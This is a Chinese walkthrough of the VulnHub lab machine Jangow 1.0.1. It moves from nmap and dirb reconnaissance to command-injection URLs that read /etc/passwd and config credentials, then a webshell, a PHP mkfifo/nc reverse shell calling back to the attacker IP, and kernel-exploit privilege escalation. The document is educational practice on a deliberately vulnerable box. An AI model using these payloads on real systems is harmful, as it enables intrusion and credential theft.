迟到的文章,就当库存发出来吧~
by AnQtroops 2022.9.10
1、下载地址:https://www.vulnhub.com/entry/jangow-101,754/
2、难度:简单
3、上架时间:2021年11月4日
4、提示信息:The secret to this box is enumeration! Inquiries [email protected]
5、实验环境
攻击机VMware、靶机ViralBox
攻击机和靶机必须保证网络连通性!
1、我们打开靶机之后能看到靶机的IP地址
2、我们也可以用kali通过NMAP去扫网段,获得靶机的IP地址
首先查看我们kali的IP地址
ip a
或者ifconfig
都可以,这里我使用了ip a
开始扫描靶机的IP地址
nmap 192.168.0.1/24
nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。
nmap 192.168.0.1/24 这个命令是扫描 192.168.0.1-192.168.0.255这一整个网段的ip
┌──(root㉿AnQTroops)-[~]
└─# nmap 192.168.0.1/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 13:18 CST
Nmap scan report for 192.168.0.100
Host is up (0.0029s latency).
All 1000 scanned ports on 192.168.0.100 are in ignored states.
Not shown: 1000 filtered tcp ports (proto-unreach)
MAC Address: 08:00:27:3E:6A:DE (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.102
Host is up (0.00060s latency).
All 1000 scanned ports on 192.168.0.102 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)
MAC Address: 0A:00:27:00:00:0C (Unknown)
Nmap scan report for 192.168.0.103
Host is up (0.0011s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
80/tcp open http
MAC Address: 08:00:27:A9:34:0C (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.0.104
Host is up (0.0000040s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
Nmap done: 256 IP addresses (4 hosts up) scanned in 40.27 seconds
得到信息
靶机IP地址为:192.168.0.103
万事第一步,先扫描一波
nmap -sT -T4 -sC -sV -O -p- 192.168.0.103
-sT:TCP 连接扫描(最基础,最稳定的扫描)
-T4:扫描速度,T:0-5 慢到快,一般用0,4
-sC:根据端口识别服务自动调用默认脚本
-sV:扫描目标主机的端口和软件版本
-O:操作系统版本扫描,能扫出目标使用的系统(准不准看运气),从而对症下药
-p-:全端口扫描(扫描0-65535端口)
额外知识
-F:扫描100个最有可能开放的端口(默认)
┌──(root㉿AnQTroops)-[~/桌面]
└─# nmap -sT -T4 -sC -sV -O -p- 192.168.0.103
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-10 13:54 CST
Nmap scan report for 192.168.0.103
Host is up (0.00089s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
80/tcp open http Apache httpd 2.4.18
|_http-title: Index of /
| http-ls: Volume /
| SIZE TIME FILENAME
| - 2021-06-10 18:05 site/
|_
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:A9:34:0C (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; OS: Unix
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.14 seconds
得到信息
目标开放了21和80端口,分别对应的是ftp服务和apache服务
apache httpd的版本是2.4.18
系统信息是Ubuntu3.x系统或者是4.x系统
既然得知目标主机开放WEB服务,那么我们来扫描一下目录,看看是否能得到一些敏感目录或者文件
dirb http://192.168.0.103
dirb是一个基于字典的web目录扫描工具,采用递归的方式来获取更多的目录,可以查找到已知的和隐藏的目录,它还支持代理和http认证限制访问的网站在渗透测试过程中,是一个非常好用的工具。
-a:设置user-agent
-c:设置cookie
-z:添加毫秒延迟,避免洪水攻击
-o:输出结果
-X:在每个字典的后面添加一个后缀
-H:添加请求头
-i:不区分大小写搜索
┌──(root㉿AnQTroops)-[~/桌面]
└─# dirb http://192.168.0.103:80
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Sep 10 14:09:10 2022
URL_BASE: http://192.168.0.103:80/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.0.103:80/ ----
+ http://192.168.0.103:80/server-status (CODE:403|SIZE:278)
==> DIRECTORY: http://192.168.0.103:80/site/
---- Entering directory: http://192.168.0.103:80/site/ ----
==> DIRECTORY: http://192.168.0.103:80/site/assets/
==> DIRECTORY: http://192.168.0.103:80/site/css/
+ http://192.168.0.103:80/site/index.html (CODE:200|SIZE:10190)
==> DIRECTORY: http://192.168.0.103:80/site/js/
==> DIRECTORY: http://192.168.0.103:80/site/wordpress/
---- Entering directory: http://192.168.0.103:80/site/assets/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.0.103:80/site/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.0.103:80/site/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.0.103:80/site/wordpress/ ----
+ http://192.168.0.103:80/site/wordpress/index.html (CODE:200|SIZE:10190)
-----------------
END_TIME: Sat Sep 10 14:09:27 2022
DOWNLOADED: 13836 - FOUND: 3
得到信息
扫描之后得到三个网页,没有获取什么有用的信息
http://192.168.0.103:80/server-status
http://192.168.0.103:80/site/index.html
http://192.168.0.103:80/site/wordpress/index.html
从第三个网址链接可以看出是一个wordpress网站
WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。
竟然知道目标部署了Apache服务,那么我们访问一下web服务。
访问80端口,发现一个目录,继续访问目录
然后随便点一点看一看,发现Buscar是一个PHP页面,并且可以传参数
参数未被赋值,猜测是代码执行漏洞或者是命令执行漏洞,经过测试发现是命令执行漏洞
通过Linux命令查看敏感文件,发现了一个jangow01
的用户
192.168.0.103/site/busque.php?buscar=cat /etc/passwd
cat命令:Linux的查看命令
passwd文件:Linux的用户信息很多都主要保存在这个/etc/passwd文件中
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false syslog:x:104:108::/home/syslog:/bin/false _apt:x:105:65534::/nonexistent:/bin/false lxd:x:106:65534::/var/lib/lxd/:/bin/false messagebus:x:107:111::/var/run/dbus:/bin/false uuidd:x:108:112::/run/uuidd:/bin/false dnsmasq:x:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false jangow01:x:1000:1000:desafio02,,,:/home/jangow01:/bin/bash sshd:x:110:65534::/var/run/sshd:/usr/sbin/nologin ftp:x:111:118:ftp daemon,,,:/srv/ftp:/bin/false mysql:x:112:119:MySQL Server,,,:/nonexistent:/bin/false
查看jangow01
用户目录下的文件,发现一个user.txt文件
http://192.168.0.103/site/busque.php?buscar=ls -arl /home/jangow01
ls命令
-a:显示所有的文件,包括隐藏文件(以.开头的文件)
-l:查看文件及目录详情
total 36 -rw-rw-r-- 1 jangow01 desafio02 33 Jun 10 2021 user.txt -rw-r--r-- 1 jangow01 desafio02 0 Jun 10 2021 .sudo_as_admin_successful -rw-r--r-- 1 jangow01 desafio02 655 Jun 10 2021 .profile drwxrwxr-x 2 jangow01 desafio02 4096 Jun 10 2021 .nano drwx------ 2 jangow01 desafio02 4096 Jun 10 2021 .cache -rw-r--r-- 1 jangow01 desafio02 3771 Jun 10 2021 .bashrc -rw-r--r-- 1 jangow01 desafio02 220 Jun 10 2021 .bash_logout -rw------- 1 jangow01 desafio02 200 Oct 31 2021 .bash_history drwxr-xr-x 3 root root 4096 Oct 31 2021 .. drwxr-xr-x 4 jangow01 desafio02 4096 Jun 10 2021 .
查看文件内容,拿到一串字符串,拿去cmd5解密,解出来是空密码,暂时不知道有什么用
http://192.168.0.103/site/busque.php?buscar=cat /home/jangow01/user.txt
d41d8cd98f00b204e9800998ecf8427e
前面目录扫描的时候,扫出wordpress目录。我们查看wordpress目录下有什么东西,发现有一个配置文件
http://192.168.0.103/site/busque.php?buscar=ls wordpress
查看配置文件,发现数据库账号:jangow02 密码:abygurl69
http://192.168.0.103/site/busque.php?buscar=cat wordpress/config.php
打了那么久,突然才想到,为什么不试一下写个一句木马直接webshell
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作.
http://192.168.0.103/site/busque.php?buscar=echo "" >> webshell.php
这里建议使用POST方法,实测GET方法中国蚁剑无法连接
能够看到一句话木马已经写入成功。接着打开中国蚁剑,连接成功
WebShell管理工具,是开源的跨平台网站管理工具,它主要面向于合法授权的渗透测试安全人员以及进行常规操作的网站管理员。类似的软件有中国菜刀、中国C刀和冰蝎等
翻了一下,发现了一个备份文件,又得到一个ftp的账号密码
FTP是FileTransferProtocol(文件传输协议)的英文简称,而中文简称为“文传协议”。用于Internet上的控制文件的双向传输
# 到此,我打靶机的目的(提高自己对渗透测试的流程认识、熟悉工具的使用和针对技能点的不足可以及时提升)就完成了.
# 目前我还没有学会提权,以下操作都是按照网上大佬们的wp复现出来的,具体思路和原理尚未清晰。后续会了以后会详细写出原理和方法
反弹shell,发现nc不能使用 -e 参数,能执行的shell都无法执行,返回set=2
想到可以使用访问式反弹,蚁剑中先建好个php文件,然后将反弹shell写入文件
NetCat,简称 nc ,有着 网络安全界"瑞士军刀" 的美称,可以通过TCP/UDP协议读写,是一个好用稳定的连接系统后门的工具,同时也是一个网络调试和开发工具
-e prog 程序重定向,一旦连接,就执行
反弹shell代码:
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.104 443 >/tmp/f');?>
在写反弹shell之前做了多次反弹shell尝试,,很多端口都无法反弹,最后发现在443可以反弹(尝试方法在kali上监听端口,靶机上 tenlent kali监听的端口测试)
nc监听443端口
nc -lvp 443
-l 监听模式,用于入站连接
-v 详细输出–用两个-v可得到更详细的内容(-vv)
-p port 本地端口号
访问ftshell.php
反弹成功
在反弹成功上切换完整的交互式bash
bash是一个命令处理器,
python3 -c 'import pty;pty.spawn("/bin/bash")'
查看系统内核 得到内核版本是ubuntu16.04
unmae -a
uname命令:用于显示当前操作系统名称
-a:用于显示系统信息。
到exploit-db上找提权exp。下载exp,先拿个最新的来试试
https://www.exploit-db.com/
ExploitDB 是一个面向全世界黑客的漏洞提交平台,该平台会公布最新漏洞的相关情况,这些可以帮助企业改善公司的安全状况,同时也以帮助安全研究者和渗透测试工程师更好的进行安全测试工作。Exploit-DB提供一整套庞大的归档体系,其中涵盖了各类公开的攻击事件、漏洞报告、安全文章以及技术教程等资源。
下载后直接使用蚁剑上传
编译和加执行权限
执行,成功提权
查看root目录下的文件,拿到flag值
flag值:
da39a3ee5e6b4b0d3255bfef95601890afd80709
拿去cmd5解密
又是空密码,不知道什么意思,至此结束了,走了不少弯路,我觉得还好吧,哈哈哈
前面在找web漏洞时候,可以直接使用扫面器扫一下漏洞,毕竟人和猴子的区别就是会不会使用工具,这里我就用burpsuite来扫描一下看看,既可以练习扫描器,又可以在现在的学习过程中看一下扫描器是用什么payload,取其精华去其糟粕嘛
burpsuite作为web渗透较为常用的软件,有着9个比较常用的模块——proxy,target,intruder,comparer,repeater,decoder,extendere,sqlmap,csrf。
打开burp
浏览器挂上代理,burpsuite启动抓包拦截
右键,启动主动扫描
好了,这里思路说了也差不多了,我去吃饭了。今天是中秋,也祝师傅们中秋快乐~